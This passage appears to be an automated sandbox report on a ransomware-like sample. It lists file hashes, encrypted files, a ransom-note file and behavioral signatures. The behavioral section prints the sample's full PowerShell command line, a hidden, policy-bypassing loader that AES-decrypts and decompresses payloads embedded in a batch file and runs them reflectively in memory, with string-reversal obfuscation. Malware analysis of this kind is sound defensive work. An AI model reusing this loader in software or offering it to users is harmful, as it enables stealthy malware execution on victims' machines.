| SHA512 | d2d5d9aa3fb3b9ac0984f2d06da26c857f6d5479a41caa6b54e04e59b9682283219223a7b217cb9e719bad57381030aa87a9b92a6ed15d865f6d6b1eb96bce2b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
memory/3088-181-0x0000014839BD0000-0x0000014839BDC000-memory.dmp
C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC
| MD5 | 36dac80574afc68b2facc827565eb111 |
| SHA1 | 2757ad12c5f70b202054017eb06b0c9d242c683b |
| SHA256 | f0fca1ed4964c480b1d1404e6136bdb49fa4e44739d2d6ce0925d5418ce46232 |
| SHA512 | 13ccdfe168adc8d949f08f5414819112ec77ec4c7b118e436df28c9d1fba60a960f2f4e10a395318c3941ca5f50428ead426a209946609288dce048c38351bf5 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 850f27f857369bf7fe83c613d2ec35cb |
| SHA1 | 7677a061c6fd2a030b44841bfb32da0abc1dbefb |
| SHA256 | a7db700e067222e55e323a9ffc71a92f59829e81021e2607cec0d2ec6faf602a |
| SHA512 | 7b1efa002b7a1a23973bff0618fb4a82cd0c5193df55cd960c7516caa63509587fd8b36f3aea6db01ece368065865af6472365b820fadce720b64b561ab5f401 |
\??\pipe\LOCAL\crashpad_4800_RBGNWHZNNINUAJJP
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
| MD5 | 62c02dda2bf22d702a9b3a1c547c5f6a |
| SHA1 | 8f42966df96bd2e8c1f6b31b37c9a19beb6394d6 |
| SHA256 | cb8a0964605551ed5a0668c08ab888044bbd845c9225ffee5a28e0b847ede62b |
| SHA512 | a7ce2c0946382188e1d8480cfb096b29bd0dcb260ccdc74167cc351160a1884d04d57a2517eb700b3eef30eaf4a01bfbf31858365b1e624d4b0960ffd0032fa9 |
C:\Users\Admin\Desktop\How To Decrypt My Files.html
| MD5 | c0f383647d8c6a5ffd34d35fb2469942 |
| SHA1 | e34b9a1c23e4d303059a2f9b42ed1f8eb110d1b0 |
| SHA256 | 80400965c93ba3c7bf1426ccecf78acc6d0e97080965df7e58ea5c81a540df7e |
| SHA512 | cbcaff1124ec9c0b407857bd4c3206d779a115bc024ce756af6c703e5f1c841657b33134e357cc9a1da6cd7d571402c5cb4929ca63f0e3ca92771bc64c1e378c |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | afcf0cfa04b9446b0c3be8b032174f6d |
| SHA1 | d6c0794f1874578fbfedafda3d8a0beffa174f1b |
| SHA256 | 7ee4fe09efbb83ab7095af2cdd1046d912e4d7c5d8f4e293661ea79bccc2755e |
| SHA512 | 1c93542b650c1e2e886dce9834e86beec91891f4bfcda7a828c774d5e795924efa1c6396ecb6979d5d4cc30565b9171a068f346a0752b7af15c254d497cc818b |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
| MD5 | 6752a1d65b201c13b62ea44016eb221f |
| SHA1 | 58ecf154d01a62233ed7fb494ace3c3d4ffce08b |
| SHA256 | 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd |
| SHA512 | 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
| MD5 | 2539f24074ad5ff217935a547ac066c9 |
| SHA1 | fb70c730ee99f19263d8c72b9bd45ad043200ea5 |
| SHA256 | 8aa56646754fb84d3ea13bb59a86a0f38ded0ac1f197cdf831234f12e8ca746b |
| SHA512 | c6fc1b5645d4df436659037d6ebc52f34f235035302d620bc3150abbc1320f88b08111a9e2821255fc71470a1a607b8d77d16661c900998d08d7308e382b38b8 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
| MD5 | 7493cb8d87373132f3b59907df6d1a60 |
| SHA1 | db32aac5ad2521b4a1b723c56360881b2e6c249a |
| SHA256 | c94edb6654a148590862b15501a8b03a074cda4750fdbce976e82825035da379 |
| SHA512 | e5e06790e2dc4291b34be5fc40141f191044c2ea0d5a06ec9cd25353f6b01267ed46a053b6046e132757c1a6780544fad7e961baa468e5f9dfcdc721639d4869 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
| MD5 | f50f89a0a91564d0b8a211f8921aa7de |
| SHA1 | 112403a17dd69d5b9018b8cede023cb3b54eab7d |
| SHA256 | b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec |
| SHA512 | bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 26d8032b1180b836ea69a15cb3c00652 |
| SHA1 | 24f760f3c47011b0256d790ca116ab994809f6e7 |
| SHA256 | 636e0669d5bb75ffab402a2244f6099685a456704d9facb40c5ae561558b9400 |
| SHA512 | 0e4227b27d6baed046cbb7c11f9bb4b8d5f049c433f1e8c96177094a64fae43ced449a0ee60938009fcddd0c97e3f279d5348523184fc2b8cc9aa3082d9c9614 |
memory/3088-470-0x0000014839C10000-0x0000014839C1C000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-04 03:53
Reported
2024-05-04 04:13
Platform
win7-20240221-en
Max time kernel
835s
Max time network
835s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2188 wrote to memory of 1544 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2188 wrote to memory of 1544 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2188 wrote to memory of 1544 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\src.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qVcxk3R4fqA1/awJHHwWpHId3e467yxXbpefPgVxiIY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t9l1xxFRLkyGduhNMxt2Sg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lfREy=New-Object System.IO.MemoryStream(,$param_var); $cTHlp=New-Object System.IO.MemoryStream; $uxDbM=New-Object System.IO.Compression.GZipStream($lfREy, [IO.Compression.CompressionMode]::Decompress); $uxDbM.CopyTo($cTHlp); $uxDbM.Dispose(); $lfREy.Dispose(); $cTHlp.Dispose(); $cTHlp.ToArray();}function execute_function($param_var,$param2_var){ $ECHLs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VksZt=$ECHLs.EntryPoint; $VksZt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\src.bat';$AceeP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\src.bat').Split([Environment]::NewLine);foreach ($KWUra in $AceeP) { if ($KWUra.StartsWith(':: ')) { $PRYqI=$KWUra.Substring(3); break; }}$payloads_var=[string[]]$PRYqI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/1544-4-0x000007FEF57FE000-0x000007FEF57FF000-memory.dmp
memory/1544-6-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/1544-5-0x000000001B740000-0x000000001BA22000-memory.dmp
memory/1544-9-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/1544-8-0x0000000001EC0000-0x0000000001EC8000-memory.dmp
memory/1544-10-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/1544-7-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/1544-11-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp
memory/1544-12-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp